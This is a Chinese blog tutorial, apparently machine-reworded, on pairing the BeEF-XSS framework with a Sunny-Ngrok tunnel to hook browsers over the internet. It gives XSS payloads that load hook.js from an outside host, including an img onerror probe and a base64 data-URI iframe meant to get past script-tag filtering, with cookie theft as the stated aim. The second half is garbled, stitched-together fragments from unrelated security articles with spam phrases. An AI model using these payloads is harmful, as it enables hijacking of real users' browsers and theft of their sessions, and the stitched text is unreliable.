Beef-XSS结构无疑是当今最强壮的浏览器进犯结构， *** 上也存在许多关于它的教程，但是大部分都是根据内网环境下的教育，这就使得进犯作用大打折扣，别的大部分XSS教程仅仅完成一个aler(1)便证明达到了作用，而Beef-XSS要保证完好作用就要加载hook.js文件，在存在必定过滤的情况下，这是有必定难度的。所以便有了今日的文章，期望对我们有所协助。

0×00 试验东西

 

kali linux v2.0    
 
beef-xss
sunny-ngrok: http://www.ngrok.cc

0×01 注册tcp署理，并下载客户端进行内网穿透

都是老司机注册这儿就不说了，直接讲怎样注册tcp署理。

点击办理面板左边栏里的地道办理—>注册地道，点击右下角那个免费的点击注册，当然假设你觉得想要安稳的可以挑选付费版：

接下来我们要对地道进行配备，挑选tcp协议，地道称谓和端口号自己填，假设端口号现已被占用，点击确认后会有提示：

留意这儿长途端口号要和本地端口号保持一致，正常情况下可以不必这么填，但是hook.js在发送央求的时分会在后边主动追加端口号，形成无法成功央求，所以我就爽性设置成相同的了。

下图这个clientid要保存好等下衔接的时分要用。

接下来便是下载客户端，进行衔接了。在这个地址（http://www.ngrok.cc/download.html）下载相应的客户端版别。

详细指令是：

./sunny clientid 地道id

0×02 自定义监听端口，打开beef-xss

在发起beef-xss之前，我么们要批改下配备文件中的端口。配备文件方位：/etc/beef-xss/config.yaml。

用vim翻开批改port后边的端口数就好了：

现在我们直接发起beef-xss就好了，这个就很简略了直接输入beef-xss回车：

接下来我们只要把hook.js脚本想 *** 加载到方针网站就可以完成对浏览器的进犯了，最起码get个cookie仍是不成问题的。

0×03 绕过脚本过滤，完成根据beef的xss进犯

一般来说我们要加载一个js文件只需参加下边一行代码就可以：

<script type="text/javascript" src="http://yoururl.com/hook.js"></script>

但今日预备的网站对<script>的标签进行了过滤，不能完成直接注入：

在这种情况下想调用个 *** 仍是很简略的，比方alert(1)；只需用img标签的onerror就可完成，代码如下：

<img src=x onerror=alert(1); /根据判别正确与否，从头批改完善分类器；>

可当我们想要加载的一个js文件时，这样的 *** 是无法完成的，所以想到了运用iframe的特性，来加密脚本然后完成加载。代码如下：

<iframe src="data:text| Vary: Accept-Encoding/html;base64,这儿加你的通过base64加密过的脚本代码"></iframe>

实行成功，如图我们控制台现已成功衔接：

至此，就可以进行深化的浏览器进犯了！

*本文原创作者：kaliking，

服装课程:Beef-XSS+Sunny-Ngrok完成内网穿透

首要创建被包含文件index.php:s.txt。

);Beef-XSS+Sunny-Ngrok实现内网穿透

服装课程}运用未确认的bootloader，现在你可以发起已批改的引导映像。要让Magisk作业，你需求patched Pixel 3的boot image。走运的是，Magisk Manager app可认为你处理这个问题。我已在我自己的Google Pixel 3 XL以及Dees_Troy的Google Pixel 3前进行了检验，供认Magisk可以在这两种设备上工作。这引起了我们的警觉，总感觉哪里不对。

1. 收集侦查；

如图5所示，我们成功添加了办理员账号。有时分我们想约束用户登录后的行为，让用户在一个受限的shell环境操作，这儿我们介绍若何运用lshell来快速结束，lshell供给了一个针对每一个用户可设置配备铺排的约束性shell，设置配备铺排文件失常的简略，可以很简略的严峻约束用户可以拜访哪些目次，可以运用哪些敕令，一同可以对不法操作间断日记记载。服装课程

假设想要遥控到这些百叶窗，我需求做以下两件事中的任意一件：在true分支上，其检查池类型是否用于会话池。DeviceType = 0x22

下面假定缝隙运用取得了任意内核方式代码实行，我们可以手动工作汇编代码，虽然这听起来有些不太或许。但是即使是即将发布的Windows 10创造者版别，只需发现一个write-what-where缝隙，就会有许多种 *** 来结束这一点。并且假设我检验在PowerShell中运用.NET组件工作指令，也会被阻遏：因为开端授权安排的主称谓服务器(SOA MNAME)是DNS的一个凌乱特性，我无法猜想DNS流量中有什么。因此我配备了我的“Bind DNS”服务器(运用了刚才成功注册的域名)，并发送查询，来央求“.gt”下全部域名的A记载，并根据我的IP地址，来过滤出全部数据包。我设置了tcpdump，将全部DNS流量打包成一个pcap文件，便于后边的分析。tspkg :Beef-XSS+Sunny-Ngrok实现内网穿透

服装课程不幸的是，物联网企业往往不认为安全需求进行优先考虑，他们都认为这件麻烦事可以晚点再处理。但是其时的问题是，这些系统现在既能抢救患者的生命，也可以杀死他们。3.运用扫描东西，对主机检查打开哪些端口。在运用Java反编译器翻开文件“UpdateTool-20141219.jar”之后，我们可以看到更新东西中包含的软件包的代码结构。

在阅读这篇writeup的时分发作了许多疑问，其实首要仍是关于Linux下堆办理机制，以及一些Linux攻防技巧不熟的原因导致的，其实缝隙并不难处理，关键在于怎样大开脑洞来运用，下面我抛出我在做这个pwn me调试时发作的问题，并且通过动态调试的进程来处理这些疑问。Site1#show ip route#author wending 服装课程

　　摘要Beef-XSS+Sunny-Ngrok实现内网穿透

Tinder是一款具有数百万用户的抢手交（yue）友(pao)软件。mchunkptr last_remainder; char buffer[20]; // 缓冲区位于栈上下载回本地再用QuarksPwDump如同就不行,首要因为本地无法指定SYSTEM文件导致获取不到key
本文标题:服装课程:Beef-XSS+Sunny-Ngrok完成内网穿透